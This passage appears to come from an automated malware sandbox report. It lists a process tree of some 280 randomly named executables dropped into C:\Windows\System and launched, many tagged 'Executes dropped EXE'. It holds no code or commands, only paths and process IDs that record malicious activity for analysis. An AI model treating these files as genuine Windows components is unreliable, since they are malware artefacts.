  2⤵
  - Executes dropped EXE
  PID:3320
- C:\Windows\System\yYjOvck.exe
  C:\Windows\System\yYjOvck.exe
  2⤵
  - Executes dropped EXE
  PID:1480
- C:\Windows\System\zOSmorw.exe
  C:\Windows\System\zOSmorw.exe
  2⤵
  - Executes dropped EXE
  PID:2532
- C:\Windows\System\KoeqKwS.exe
  C:\Windows\System\KoeqKwS.exe
  2⤵
  - Executes dropped EXE
  PID:4576
- C:\Windows\System\ZgSOkAs.exe
  C:\Windows\System\ZgSOkAs.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\CGqmiyM.exe
  C:\Windows\System\CGqmiyM.exe
  2⤵
  - Executes dropped EXE
  PID:3648
- C:\Windows\System\ArBwjIf.exe
  C:\Windows\System\ArBwjIf.exe
  2⤵
  - Executes dropped EXE
  PID:4744
- C:\Windows\System\TQkbnGv.exe
  C:\Windows\System\TQkbnGv.exe
  2⤵
  - Executes dropped EXE
  PID:2824
- C:\Windows\System\OMEMfwB.exe
  C:\Windows\System\OMEMfwB.exe
  2⤵
  - Executes dropped EXE
  PID:2136
- C:\Windows\System\XuXahZy.exe
  C:\Windows\System\XuXahZy.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\pUEsDHB.exe
  C:\Windows\System\pUEsDHB.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\YhzasTC.exe
  C:\Windows\System\YhzasTC.exe
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\System\OQOfxzE.exe
  C:\Windows\System\OQOfxzE.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\hpQTQiE.exe
  C:\Windows\System\hpQTQiE.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\NQxHifP.exe
  C:\Windows\System\NQxHifP.exe
  2⤵
  - Executes dropped EXE
  PID:1332
- C:\Windows\System\HfJUBDs.exe
  C:\Windows\System\HfJUBDs.exe
  2⤵
  - Executes dropped EXE
  PID:4620
- C:\Windows\System\imnCsYN.exe
  C:\Windows\System\imnCsYN.exe
  2⤵
  - Executes dropped EXE
  PID:1820
- C:\Windows\System\DMOZvBf.exe
  C:\Windows\System\DMOZvBf.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\dTllJDE.exe
  C:\Windows\System\dTllJDE.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\zihVQLX.exe
  C:\Windows\System\zihVQLX.exe
  2⤵
  - Executes dropped EXE
  PID:1504
- C:\Windows\System\aFKvTda.exe
  C:\Windows\System\aFKvTda.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\IsmRIZM.exe
  C:\Windows\System\IsmRIZM.exe
  2⤵
  - Executes dropped EXE
  PID:220
- C:\Windows\System\IEaOjyf.exe
  C:\Windows\System\IEaOjyf.exe
  2⤵
  - Executes dropped EXE
  PID:1468
- C:\Windows\System\gPsmaKJ.exe
  C:\Windows\System\gPsmaKJ.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\IVLiofA.exe
  C:\Windows\System\IVLiofA.exe
  2⤵
  - Executes dropped EXE
  PID:4508
- C:\Windows\System\mAebXNl.exe
  C:\Windows\System\mAebXNl.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\hYUgXOp.exe
  C:\Windows\System\hYUgXOp.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Windows\System\hFCCqrq.exe
  C:\Windows\System\hFCCqrq.exe
  2⤵
  - Executes dropped EXE
  PID:4076
- C:\Windows\System\PhqxtLg.exe
  C:\Windows\System\PhqxtLg.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\DkjKiVd.exe
  C:\Windows\System\DkjKiVd.exe
  2⤵
  - Executes dropped EXE
  PID:1828
- C:\Windows\System\bPBKOrv.exe
  C:\Windows\System\bPBKOrv.exe
  2⤵
  - Executes dropped EXE
  PID:4760
- C:\Windows\System\LJdcSyx.exe
  C:\Windows\System\LJdcSyx.exe
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Windows\System\qxdFjZu.exe
  C:\Windows\System\qxdFjZu.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- C:\Windows\System\DiWnARt.exe
  C:\Windows\System\DiWnARt.exe
  2⤵
  - Executes dropped EXE
  PID:3980
- C:\Windows\System\JapBaLE.exe
  C:\Windows\System\JapBaLE.exe
  2⤵
  - Executes dropped EXE
  PID:4884
- C:\Windows\System\NHeihrG.exe
  C:\Windows\System\NHeihrG.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\ygZZXpI.exe
  C:\Windows\System\ygZZXpI.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\fZNRdVz.exe
  C:\Windows\System\fZNRdVz.exe
  2⤵
  - Executes dropped EXE
  PID:4388
- C:\Windows\System\deOcmZc.exe
  C:\Windows\System\deOcmZc.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Windows\System\odaxXmx.exe
  C:\Windows\System\odaxXmx.exe
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Windows\System\yuyoNsv.exe
  C:\Windows\System\yuyoNsv.exe
  2⤵
  - Executes dropped EXE
  PID:5012
- C:\Windows\System\PQiZHbr.exe
  C:\Windows\System\PQiZHbr.exe
  2⤵
  - Executes dropped EXE
  PID:5144
- C:\Windows\System\iaIHseJ.exe
  C:\Windows\System\iaIHseJ.exe
  2⤵
  - Executes dropped EXE
  PID:5176
- C:\Windows\System\GXGTxEl.exe
  C:\Windows\System\GXGTxEl.exe
  2⤵
  - Executes dropped EXE
  PID:5196
- C:\Windows\System\nNykynq.exe
  C:\Windows\System\nNykynq.exe
  2⤵
  - Executes dropped EXE
  PID:5216
- C:\Windows\System\dTrXbad.exe
  C:\Windows\System\dTrXbad.exe
  2⤵
  - Executes dropped EXE
  PID:5244
- C:\Windows\System\CwcLjeW.exe
  C:\Windows\System\CwcLjeW.exe
  2⤵
  - Executes dropped EXE
  PID:5276
- C:\Windows\System\yPYQsTE.exe
  C:\Windows\System\yPYQsTE.exe
  2⤵
  - Executes dropped EXE
  PID:5320
- C:\Windows\System\OptrdWO.exe
  C:\Windows\System\OptrdWO.exe
  2⤵
  - Executes dropped EXE
  PID:5340
- C:\Windows\System\OZyFEel.exe
  C:\Windows\System\OZyFEel.exe
  2⤵
  - Executes dropped EXE
  PID:5368
- C:\Windows\System\KWwpoIQ.exe
  C:\Windows\System\KWwpoIQ.exe
  2⤵
  PID:5412
- C:\Windows\System\bVSZKXX.exe
  C:\Windows\System\bVSZKXX.exe
  2⤵
  PID:5436
- C:\Windows\System\QhrmQzJ.exe
  C:\Windows\System\QhrmQzJ.exe
  2⤵
  PID:5452
- C:\Windows\System\DQkJrOe.exe
  C:\Windows\System\DQkJrOe.exe
  2⤵
  PID:5480
- C:\Windows\System\sfRejMN.exe
  C:\Windows\System\sfRejMN.exe
  2⤵
  PID:5508
- C:\Windows\System\AzHtryW.exe
  C:\Windows\System\AzHtryW.exe
  2⤵
  PID:5532
- C:\Windows\System\TphbhSr.exe
  C:\Windows\System\TphbhSr.exe
  2⤵
  PID:5556
- C:\Windows\System\OnLlnyb.exe
  C:\Windows\System\OnLlnyb.exe
  2⤵
  PID:5588
- C:\Windows\System\hPcfaYN.exe
  C:\Windows\System\hPcfaYN.exe
  2⤵
  PID:5644
- C:\Windows\System\huuaXjO.exe
  C:\Windows\System\huuaXjO.exe
  2⤵
  PID:5660
- C:\Windows\System\ECcCNGN.exe
  C:\Windows\System\ECcCNGN.exe
  2⤵
  PID:5676
- C:\Windows\System\EiYrANU.exe
  C:\Windows\System\EiYrANU.exe
  2⤵
  PID:5700
- C:\Windows\System\trMSvqm.exe
  C:\Windows\System\trMSvqm.exe
  2⤵
  PID:5720
- C:\Windows\System\zwqyAKU.exe
  C:\Windows\System\zwqyAKU.exe
  2⤵
  PID:5744
- C:\Windows\System\vxcMPJk.exe
  C:\Windows\System\vxcMPJk.exe
  2⤵
  PID:5772
- C:\Windows\System\TFmlbcm.exe
  C:\Windows\System\TFmlbcm.exe
  2⤵
  PID:5800
- C:\Windows\System\WIlLgtB.exe
  C:\Windows\System\WIlLgtB.exe
  2⤵
  PID:5832
- C:\Windows\System\gnAvIpD.exe
  C:\Windows\System\gnAvIpD.exe
  2⤵
  PID:5860
- C:\Windows\System\vSoKNOq.exe
  C:\Windows\System\vSoKNOq.exe
  2⤵
  PID:5888
- C:\Windows\System\LmAfzle.exe
  C:\Windows\System\LmAfzle.exe
  2⤵
  PID:5916
- C:\Windows\System\ddjFERt.exe
  C:\Windows\System\ddjFERt.exe
  2⤵
  PID:5944
- C:\Windows\System\YoRuHzn.exe
  C:\Windows\System\YoRuHzn.exe
  2⤵
  PID:5972
- C:\Windows\System\XevnDld.exe
  C:\Windows\System\XevnDld.exe
  2⤵
  PID:6004
- C:\Windows\System\BgIEwPa.exe
  C:\Windows\System\BgIEwPa.exe
  2⤵
  PID:6032
- C:\Windows\System\yHSiJjG.exe
  C:\Windows\System\yHSiJjG.exe
  2⤵
  PID:6064
- C:\Windows\System\FWMkbVL.exe
  C:\Windows\System\FWMkbVL.exe
  2⤵
  PID:6088
- C:\Windows\System\zyuiWyd.exe
  C:\Windows\System\zyuiWyd.exe
  2⤵
  PID:6120
- C:\Windows\System\CXRgfRO.exe
  C:\Windows\System\CXRgfRO.exe
  2⤵
  PID:1976
- C:\Windows\System\uKAzRvO.exe
  C:\Windows\System\uKAzRvO.exe
  2⤵
  PID:3932
- C:\Windows\System\kTxYPdX.exe
  C:\Windows\System\kTxYPdX.exe
  2⤵
  PID:716
- C:\Windows\System\IlGAHDZ.exe
  C:\Windows\System\IlGAHDZ.exe
  2⤵
  PID:1612
- C:\Windows\System\CkkoRjh.exe
  C:\Windows\System\CkkoRjh.exe
  2⤵
  PID:4568
- C:\Windows\System\EEhxpvD.exe
  C:\Windows\System\EEhxpvD.exe
  2⤵
  PID:4660
- C:\Windows\System\lCRcLtG.exe
  C:\Windows\System\lCRcLtG.exe
  2⤵
  PID:5304
- C:\Windows\System\HXHALOg.exe
  C:\Windows\System\HXHALOg.exe
  2⤵
  PID:5392
- C:\Windows\System\MlsdvbW.exe
  C:\Windows\System\MlsdvbW.exe
  2⤵
  PID:5428
- C:\Windows\System\pPeAsHH.exe
  C:\Windows\System\pPeAsHH.exe
  2⤵
  PID:5492
- C:\Windows\System\hrzVOVL.exe
  C:\Windows\System\hrzVOVL.exe
  2⤵
  PID:228
- C:\Windows\System\iPUPSev.exe
  C:\Windows\System\iPUPSev.exe
  2⤵
  PID:5604
- C:\Windows\System\NMdofjP.exe
  C:\Windows\System\NMdofjP.exe
  2⤵
  PID:5668
- C:\Windows\System\PLooANZ.exe
  C:\Windows\System\PLooANZ.exe
  2⤵
  PID:5736
- C:\Windows\System\YOTbbSK.exe
  C:\Windows\System\YOTbbSK.exe
  2⤵
  PID:5788
- C:\Windows\System\yCtTlIA.exe
  C:\Windows\System\yCtTlIA.exe
  2⤵
  PID:5828
- C:\Windows\System\VTuHXvF.exe
  C:\Windows\System\VTuHXvF.exe
  2⤵
  PID:5904
- C:\Windows\System\tPyNCnZ.exe
  C:\Windows\System\tPyNCnZ.exe
  2⤵
  PID:5960
- C:\Windows\System\yeTJdbC.exe
  C:\Windows\System\yeTJdbC.exe
  2⤵
  PID:6020
- C:\Windows\System\cHgmGvQ.exe
  C:\Windows\System\cHgmGvQ.exe
  2⤵
  PID:6080
- C:\Windows\System\lHdXOOw.exe
  C:\Windows\System\lHdXOOw.exe
  2⤵
  PID:6136
- C:\Windows\System\rcIwtbz.exe
  C:\Windows\System\rcIwtbz.exe
  2⤵
  PID:3676
- C:\Windows\System\CAiCbLy.exe
  C:\Windows\System\CAiCbLy.exe
  2⤵
  PID:5156
- C:\Windows\System\wEQAAuR.exe
  C:\Windows\System\wEQAAuR.exe
  2⤵
  PID:5284
- C:\Windows\System\nhAkAlf.exe
  C:\Windows\System\nhAkAlf.exe
  2⤵
  PID:5384
- C:\Windows\System\gzBFxQX.exe
  C:\Windows\System\gzBFxQX.exe
  2⤵
  PID:1648
- C:\Windows\System\HqtmCpa.exe
  C:\Windows\System\HqtmCpa.exe
  2⤵
  PID:1684
- C:\Windows\System\vfArGBL.exe
  C:\Windows\System\vfArGBL.exe
  2⤵
  PID:1464
- C:\Windows\System\pjYifkm.exe
  C:\Windows\System\pjYifkm.exe
  2⤵
  PID:3620
- C:\Windows\System\ScJlAju.exe
  C:\Windows\System\ScJlAju.exe
  2⤵
  PID:5880
- C:\Windows\System\YMgCSuT.exe
  C:\Windows\System\YMgCSuT.exe
  2⤵
  PID:5992
- C:\Windows\System\lXesmEk.exe
  C:\Windows\System\lXesmEk.exe
  2⤵
  PID:6056
- C:\Windows\System\ipCLvtG.exe
  C:\Windows\System\ipCLvtG.exe
  2⤵
  PID:6116
- C:\Windows\System\KVphyIU.exe
  C:\Windows\System\KVphyIU.exe
  2⤵
  PID:5108
- C:\Windows\System\HvXIzqL.exe
  C:\Windows\System\HvXIzqL.exe
  2⤵
  PID:4408
- C:\Windows\System\ihARPsw.exe
  C:\Windows\System\ihARPsw.exe
  2⤵
  PID:1980
- C:\Windows\System\WFcgMor.exe
  C:\Windows\System\WFcgMor.exe
  2⤵
  PID:3196
- C:\Windows\System\gEZzDFZ.exe
  C:\Windows\System\gEZzDFZ.exe
  2⤵
  PID:3112
- C:\Windows\System\VDIvKUF.exe
  C:\Windows\System\VDIvKUF.exe
  2⤵
  PID:5876
- C:\Windows\System\YIaKxqO.exe
  C:\Windows\System\YIaKxqO.exe
  2⤵
  PID:924
- C:\Windows\System\NDOelfS.exe
  C:\Windows\System\NDOelfS.exe
  2⤵
  PID:1304
- C:\Windows\System\GNsIbGS.exe
  C:\Windows\System\GNsIbGS.exe
  2⤵
  PID:2108
- C:\Windows\System\QEOOHKK.exe
  C:\Windows\System\QEOOHKK.exe
  2⤵
  PID:1692
- C:\Windows\System\GNBfcJN.exe
  C:\Windows\System\GNBfcJN.exe
  2⤵
  PID:4900
- C:\Windows\System\EtfIXPB.exe
  C:\Windows\System\EtfIXPB.exe
  2⤵
  PID:4780
- C:\Windows\System\zVvKEvw.exe
  C:\Windows\System\zVvKEvw.exe
  2⤵
  PID:3992
- C:\Windows\System\Nazsjzr.exe
  C:\Windows\System\Nazsjzr.exe
  2⤵
  PID:1120
- C:\Windows\System\MYAFzPG.exe
  C:\Windows\System\MYAFzPG.exe
  2⤵
  PID:5696
- C:\Windows\System\XACImSY.exe
  C:\Windows\System\XACImSY.exe
  2⤵
  PID:2232
- C:\Windows\System\mKuHnWb.exe
  C:\Windows\System\mKuHnWb.exe
  2⤵
  PID:5808
- C:\Windows\System\CRvGJEd.exe
  C:\Windows\System\CRvGJEd.exe
  2⤵
  PID:3336
- C:\Windows\System\voNneVI.exe
  C:\Windows\System\voNneVI.exe
  2⤵
  PID:1988
- C:\Windows\System\GKExgya.exe
  C:\Windows\System\GKExgya.exe
  2⤵
  PID:6052
- C:\Windows\System\vDtfiKK.exe
  C:\Windows\System\vDtfiKK.exe
  2⤵
  PID:4324
- C:\Windows\System\YqRpKFe.exe
  C:\Windows\System\YqRpKFe.exe
  2⤵
  PID:6148
- C:\Windows\System\IDFoDmZ.exe
  C:\Windows\System\IDFoDmZ.exe
  2⤵
  PID:6172
- C:\Windows\System\FUoAOjs.exe
  C:\Windows\System\FUoAOjs.exe
  2⤵
  PID:6192
- C:\Windows\System\tKueBNB.exe
  C:\Windows\System\tKueBNB.exe
  2⤵
  PID:6292
- C:\Windows\System\CGQAdQO.exe
  C:\Windows\System\CGQAdQO.exe
  2⤵
  PID:6316
- C:\Windows\System\tNAqFVB.exe
  C:\Windows\System\tNAqFVB.exe
  2⤵
  PID:6336
- C:\Windows\System\eicDErM.exe
  C:\Windows\System\eicDErM.exe
  2⤵
  PID:6356
- C:\Windows\System\PgJYPgL.exe
  C:\Windows\System\PgJYPgL.exe
  2⤵
  PID:6372
- C:\Windows\System\gMKzDsF.exe
  C:\Windows\System\gMKzDsF.exe
  2⤵
  PID:6392
- C:\Windows\System\mQOeRXL.exe
  C:\Windows\System\mQOeRXL.exe
  2⤵
  PID:6416
- C:\Windows\System\dMfclYv.exe
  C:\Windows\System\dMfclYv.exe
  2⤵
  PID:6440
- C:\Windows\System\pNqMwJK.exe
  C:\Windows\System\pNqMwJK.exe
  2⤵
  PID:6456
- C:\Windows\System\uGerfMs.exe
  C:\Windows\System\uGerfMs.exe
  2⤵
  PID:6480
- C:\Windows\System\mZmwdzl.exe
  C:\Windows\System\mZmwdzl.exe
  2⤵
  PID:6540
- C:\Windows\System\PAdPMyw.exe
  C:\Windows\System\PAdPMyw.exe
  2⤵
  PID:6556
- C:\Windows\System\NDLZAvV.exe
  C:\Windows\System\NDLZAvV.exe
  2⤵
  PID:6572
- C:\Windows\System\CvRdjFL.exe
  C:\Windows\System\CvRdjFL.exe
  2⤵
  PID:6588
- C:\Windows\System\ORYKoMr.exe
  C:\Windows\System\ORYKoMr.exe
  2⤵
  PID:6604
- C:\Windows\System\AZerxSQ.exe
  C:\Windows\System\AZerxSQ.exe
  2⤵
  PID:6624
- C:\Windows\System\otBDaSY.exe
  C:\Windows\System\otBDaSY.exe
  2⤵
  PID:6660
- C:\Windows\System\XRUEBjw.exe
  C:\Windows\System\XRUEBjw.exe
  2⤵
  PID:6684
- C:\Windows\System\tnfmCqO.exe
  C:\Windows\System\tnfmCqO.exe
  2⤵
  PID:6708
- C:\Windows\System\qfjZQrz.exe
  C:\Windows\System\qfjZQrz.exe
  2⤵
  PID:6728
- C:\Windows\System\tFqezBY.exe
  C:\Windows\System\tFqezBY.exe
  2⤵
  PID:6748
- C:\Windows\System\FazOizk.exe
  C:\Windows\System\FazOizk.exe
  2⤵
  PID:6772
- C:\Windows\System\bHUCyLy.exe
  C:\Windows\System\bHUCyLy.exe
  2⤵
  PID:6788
- C:\Windows\System\tRLIqAt.exe
  C:\Windows\System\tRLIqAt.exe
  2⤵
  PID:6812
- C:\Windows\System\lYScaGc.exe
  C:\Windows\System\lYScaGc.exe
  2⤵
  PID:6832
- C:\Windows\System\cpLtfJj.exe
  C:\Windows\System\cpLtfJj.exe
  2⤵
  PID:6852
- C:\Windows\System\SfuadAl.exe
  C:\Windows\System\SfuadAl.exe
  2⤵
  PID:6868
- C:\Windows\System\uUHspNg.exe
  C:\Windows\System\uUHspNg.exe
  2⤵
  PID:6884
- C:\Windows\System\SRpFLDq.exe
  C:\Windows\System\SRpFLDq.exe
  2⤵
  PID:6900
- C:\Windows\System\ukGeGic.exe
  C:\Windows\System\ukGeGic.exe
  2⤵
  PID:6916
- C:\Windows\System\YMXkyFS.exe
  C:\Windows\System\YMXkyFS.exe
  2⤵
  PID:6932
- C:\Windows\System\PBsDXij.exe
  C:\Windows\System\PBsDXij.exe
  2⤵
  PID:6948
- C:\Windows\System\NBvctAA.exe
  C:\Windows\System\NBvctAA.exe
  2⤵
  PID:6968
- C:\Windows\System\QRoOAcb.exe
  C:\Windows\System\QRoOAcb.exe
  2⤵
  PID:7000
- C:\Windows\System\xtLeuyn.exe
  C:\Windows\System\xtLeuyn.exe
  2⤵
  PID:7028
- C:\Windows\System\ZTuUPTO.exe
  C:\Windows\System\ZTuUPTO.exe
  2⤵
  PID:7048
- C:\Windows\System\skTeGXe.exe
  C:\Windows\System\skTeGXe.exe
  2⤵
  PID:7068
- C:\Windows\System\JlZydDW.exe
  C:\Windows\System\JlZydDW.exe
  2⤵
  PID:2740
- C:\Windows\System\eRWZzSb.exe
  C:\Windows\System\eRWZzSb.exe
  2⤵
  PID:4056
- C:\Windows\System\RVgTyjX.exe
  C:\Windows\System\RVgTyjX.exe
  2⤵
  PID:6428
- C:\Windows\System\EepRGRr.exe
  C:\Windows\System\EepRGRr.exe
  2⤵
  PID:6252
- C:\Windows\System\tETiRkk.exe
  C:\Windows\System\tETiRkk.exe
  2⤵
  PID:6348
- C:\Windows\System\vnNTEiV.exe
  C:\Windows\System\vnNTEiV.exe
  2⤵
  PID:6424
- C:\Windows\System\wtttplj.exe
  C:\Windows\System\wtttplj.exe
  2⤵
  PID:6248
- C:\Windows\System\rgDsWrJ.exe
  C:\Windows\System\rgDsWrJ.exe
  2⤵
  PID:6680
- C:\Windows\System\BaNmqLF.exe
  C:\Windows\System\BaNmqLF.exe
  2⤵
  PID:6308
- C:\Windows\System\zkJqGYY.exe
  C:\Windows\System\zkJqGYY.exe
  2⤵
  PID:6352
- C:\Windows\System\fDGqaUx.exe
  C:\Windows\System\fDGqaUx.exe
  2⤵
  PID:6476
- C:\Windows\System\fbvIzKc.exe
  C:\Windows\System\fbvIzKc.exe
  2⤵
  PID:6864
- C:\Windows\System\QaHiFnl.exe
  C:\Windows\System\QaHiFnl.exe
  2⤵
  PID:6876
- C:\Windows\System\VQPiZVQ.exe
  C:\Windows\System\VQPiZVQ.exe
  2⤵
  PID:6648
- C:\Windows\System\obbsdHb.exe
  C:\Windows\System\obbsdHb.exe
  2⤵
  PID:7040
- C:\Windows\System\CKYUMTL.exe
  C:\Windows\System\CKYUMTL.exe
  2⤵
  PID:6720
- C:\Windows\System\ziXrjRS.exe
  C:\Windows\System\ziXrjRS.exe
  2⤵
  PID:6804
- C:\Windows\System\udPZmzs.exe
  C:\Windows\System\udPZmzs.exe
  2⤵
  PID:7172
- C:\Windows\System\XpCwawo.exe
  C:\Windows\System\XpCwawo.exe
  2⤵
  PID:7196
- C:\Windows\System\dVMgEPU.exe
  C:\Windows\System\dVMgEPU.exe
  2⤵
  PID:7212
- C:\Windows\System\ZjypAux.exe
  C:\Windows\System\ZjypAux.exe
  2⤵
  PID:7240
- C:\Windows\System\hdPcfJj.exe
  C:\Windows\System\hdPcfJj.exe
  2⤵
  PID:7260
- C:\Windows\System\djajFSb.exe
  C:\Windows\System\djajFSb.exe
  2⤵
  PID:7284
- C:\Windows\System\EpiCzNW.exe
  C:\Windows\System\EpiCzNW.exe
  2⤵
  PID:7300
- C:\Windows\System\bAvtqGa.exe
  C:\Windows\System\bAvtqGa.exe
  2⤵
  PID:7320
- C:\Windows\System\gBpaBIx.exe
  C:\Windows\System\gBpaBIx.exe
  2⤵
  PID:7340
- C:\Windows\System\woFMDmW.exe
  C:\Windows\System\woFMDmW.exe
  2⤵
  PID:7356
- C:\Windows\System\fQQhMCn.exe
  C:\Windows\System\fQQhMCn.exe
  2⤵
  PID:7372
- C:\Windows\System\svReKJF.exe
  C:\Windows\System\svReKJF.exe
  2⤵
  PID:7392
- C:\Windows\System\faWwqCY.exe
  C:\Windows\System\faWwqCY.exe
  2⤵
  PID:7412
- C:\Windows\System\lEcEcVb.exe
  C:\Windows\System\lEcEcVb.exe
  2⤵
  PID:7432
- C:\Windows\System\lzXhvJH.exe
  C:\Windows\System\lzXhvJH.exe
  2⤵
  PID:7460
- C:\Windows\System\ydvPkiK.exe
  C:\Windows\System\ydvPkiK.exe
  2⤵
  PID:7480
- C:\Windows\System\lOeXwbv.exe
  C:\Windows\System\lOeXwbv.exe
  2⤵
  PID:7516
- C:\Windows\System\rwjjZfA.exe
  C:\Windows\System\rwjjZfA.exe
  2⤵
  PID:7540
- C:\Windows\System\PclewlB.exe
  C:\Windows\System\PclewlB.exe
  2⤵
  PID:7556
- C:\Windows\System\MXdtqnW.exe
  C:\Windows\System\MXdtqnW.exe
  2⤵
  PID:7584
- C:\Windows\System\BcnbhXY.exe
  C:\Windows\System\BcnbhXY.exe
  2⤵
  PID:7604
- C:\Windows\System\mImMLYg.exe
  C:\Windows\System\mImMLYg.exe
  2⤵
  PID:7628
- C:\Windows\System\eICkpDk.exe
  C:\Windows\System\eICkpDk.exe
  2⤵
  PID:7648
- C:\Windows\System\eQofbDW.exe
  C:\Windows\System\eQofbDW.exe
  2⤵
  PID:7668
- C:\Windows\System\VnlJldA.exe
  C:\Windows\System\VnlJldA.exe
  2⤵
  PID:7696
- C:\Windows\System\wyLJxAe.exe
  C:\Windows\System\wyLJxAe.exe
  2⤵
  PID:7720
- C:\Windows\System\ecUbdzz.exe
  C:\Windows\System\ecUbdzz.exe
  2⤵
  PID:7740
- C:\Windows\System\icWBnuY.exe
  C:\Windows\System\icWBnuY.exe
  2⤵
  PID:7768
- C:\Windows\System\RtMJFjg.exe
  C:\Windows\System\RtMJFjg.exe
  2⤵
  PID:7944
- C:\Windows\System\SnkMSat.exe
  C:\Windows\System\SnkMSat.exe
  2⤵
  PID:7960
- C:\Windows\System\MBiwcdz.exe
  C:\Windows\System\MBiwcdz.exe
  2⤵
  PID:7988
- C:\Windows\System\ozzdMSA.exe
  C:\Windows\System\ozzdMSA.exe
  2⤵
  PID:8008
- C:\Windows\System\CwjmLIB.exe
  C:\Windows\System\CwjmLIB.exe
  2⤵
  PID:8032
- C:\Windows\System\JNuEwKt.exe
  C:\Windows\System\JNuEwKt.exe
  2⤵
  PID:8056
- C:\Windows\System\PNKYoew.exe
  C:\Windows\System\PNKYoew.exe
  2⤵
  PID:8076
- C:\Windows\System\YGBgoer.exe
  C:\Windows\System\YGBgoer.exe
  2⤵
  PID:8096
- C:\Windows\System\CSRVtGK.exe
  C:\Windows\System\CSRVtGK.exe
  2⤵
  PID:8128
- C:\Windows\System\uFJGwya.exe
  C:\Windows\System\uFJGwya.exe
  2⤵
  PID:8152
- C:\Windows\System\VjUqbrA.exe
  C:\Windows\System\VjUqbrA.exe
  2⤵
  PID:8172
- C:\Windows\System\ollYJnz.exe
  C:\Windows\System\ollYJnz.exe
  2⤵
  PID:6612
- C:\Windows\System\bcVuwSK.exe
  C:\Windows\System\bcVuwSK.exe
  2⤵
  PID:6940
- C:\Windows\System\vKaYQLK.exe
  C:\Windows\System\vKaYQLK.exe
  2⤵
  PID:6996
- C:\Windows\System\AicbGfK.exe
  C:\Windows\System\AicbGfK.exe
  2⤵
  PID:7064
- C:\Windows\System\kTWpMrg.exe
  C:\Windows\System\kTWpMrg.exe
  2⤵
  PID:6756
- C:\Windows\System\YlczJzq.exe
  C:\Windows\System\YlczJzq.exe
  2⤵
  PID:6700
- C:\Windows\System\HPQLcwE.exe
  C:\Windows\System\HPQLcwE.exe
  2⤵
  PID:4720
- C:\Windows\System\GezHMca.exe
  C:\Windows\System\GezHMca.exe
  2⤵
  PID:6528
- C:\Windows\System\AvSncGU.exe
  C:\Windows\System\AvSncGU.exe
  2⤵
  PID:6892
- C:\Windows\System\CHiiwHQ.exe
  C:\Windows\System\CHiiwHQ.exe
  2⤵
  PID:7256
- C:\Windows\System\YnjlTSA.exe
  C:\Windows\System\YnjlTSA.exe
  2⤵
  PID:4316
- C:\Windows\System\yjZhPJw.exe
  C:\Windows\System\yjZhPJw.exe
  2⤵
  PID:6492
- C:\Windows\System\AMdcFva.exe
  C:\Windows\System\AMdcFva.exe
  2⤵
  PID:7552
- C:\Windows\System\RPskYrG.exe
  C:\Windows\System\RPskYrG.exe
  2⤵
  PID:7232
- C:\Windows\System\FlmmPjc.exe
  C:\Windows\System\FlmmPjc.exe
  2⤵
  PID:2240
- C:\Windows\System\SWbtSVl.exe
  C:\Windows\System\SWbtSVl.exe
  2⤵
  PID:7452
- C:\Windows\System\EJyfnpz.exe
  C:\Windows\System\EJyfnpz.exe
  2⤵
  PID:6160
- C:\Windows\System\cojELPA.exe
  C:\Windows\System\cojELPA.exe
  2⤵
  PID:6496
- C:\Windows\System\mmXFxAJ.exe
  C:\Windows\System\mmXFxAJ.exe
  2⤵
  PID:6244
- C:\Windows\System\meGonBE.exe
  C:\Windows\System\meGonBE.exe
  2⤵
  PID:7600
- C:\Windows\System\ZnuFSMz.exe
  C:\Windows\System\ZnuFSMz.exe
  2⤵
  PID:7624
- C:\Windows\System\FJSAFOG.exe
  C:\Windows\System\FJSAFOG.exe
  2⤵
  PID:6704
- C:\Windows\System\UBmJrRw.exe
  C:\Windows\System\UBmJrRw.exe
  2⤵
  PID:7952
- C:\Windows\System\dVbCHnm.exe
  C:\Windows\System\dVbCHnm.exe
  2⤵
  PID:8204
- C:\Windows\System\orTHImz.exe
  C:\Windows\System\orTHImz.exe
  2⤵
  PID:8232
- C:\Windows\System\baNKliI.exe
  C:\Windows\System\baNKliI.exe
  2⤵
  PID:8268
- C:\Windows\System\LAnIqaz.exe
  C:\Windows\System\LAnIqaz.exe
  2⤵
  PID:8292
- C:\Windows\System\TMCPKXY.exe
  C:\Windows\System\TMCPKXY.exe
  2⤵
  PID:8312
- C:\Windows\System\VvmAubp.exe
  C:\Windows\System\VvmAubp.exe
  2⤵
  PID:8524
- C:\Windows\System\CBndLtC.exe
  C:\Windows\System\CBndLtC.exe
  2⤵
  PID:8544
- C:\Windows\System\ZgUhGwy.exe
  C:\Windows\System\ZgUhGwy.exe
  2⤵
  PID:8560
- C:\Windows\System\FsaJiPi.exe
  C:\Windows\System\FsaJiPi.exe
  2⤵
  PID:8580
- C:\Windows\System\tLwVdqU.exe
  C:\Windows\System\tLwVdqU.exe
  2⤵
  PID:8600
- C:\Windows\System\GglSEoj.exe
  C:\Windows\System\GglSEoj.exe
  2⤵
  PID:8620
- C:\Windows\System\zuEPERn.exe
  C:\Windows\System\zuEPERn.exe
  2⤵
  PID:8636
- C:\Windows\System\cFhVLeS.exe
  C:\Windows\System\cFhVLeS.exe
  2⤵
  PID:8652
- C:\Windows\System\XBfvGKr.exe
  C:\Windows\System\XBfvGKr.exe
  2⤵
  PID:8672
- C:\Windows\System\aaaMiYP.exe
  C:\Windows\System\aaaMiYP.exe
  2⤵
  PID:8692
- C:\Windows\System\zSzRhlk.exe
  C:\Windows\System\zSzRhlk.exe
  2⤵
  PID:8712
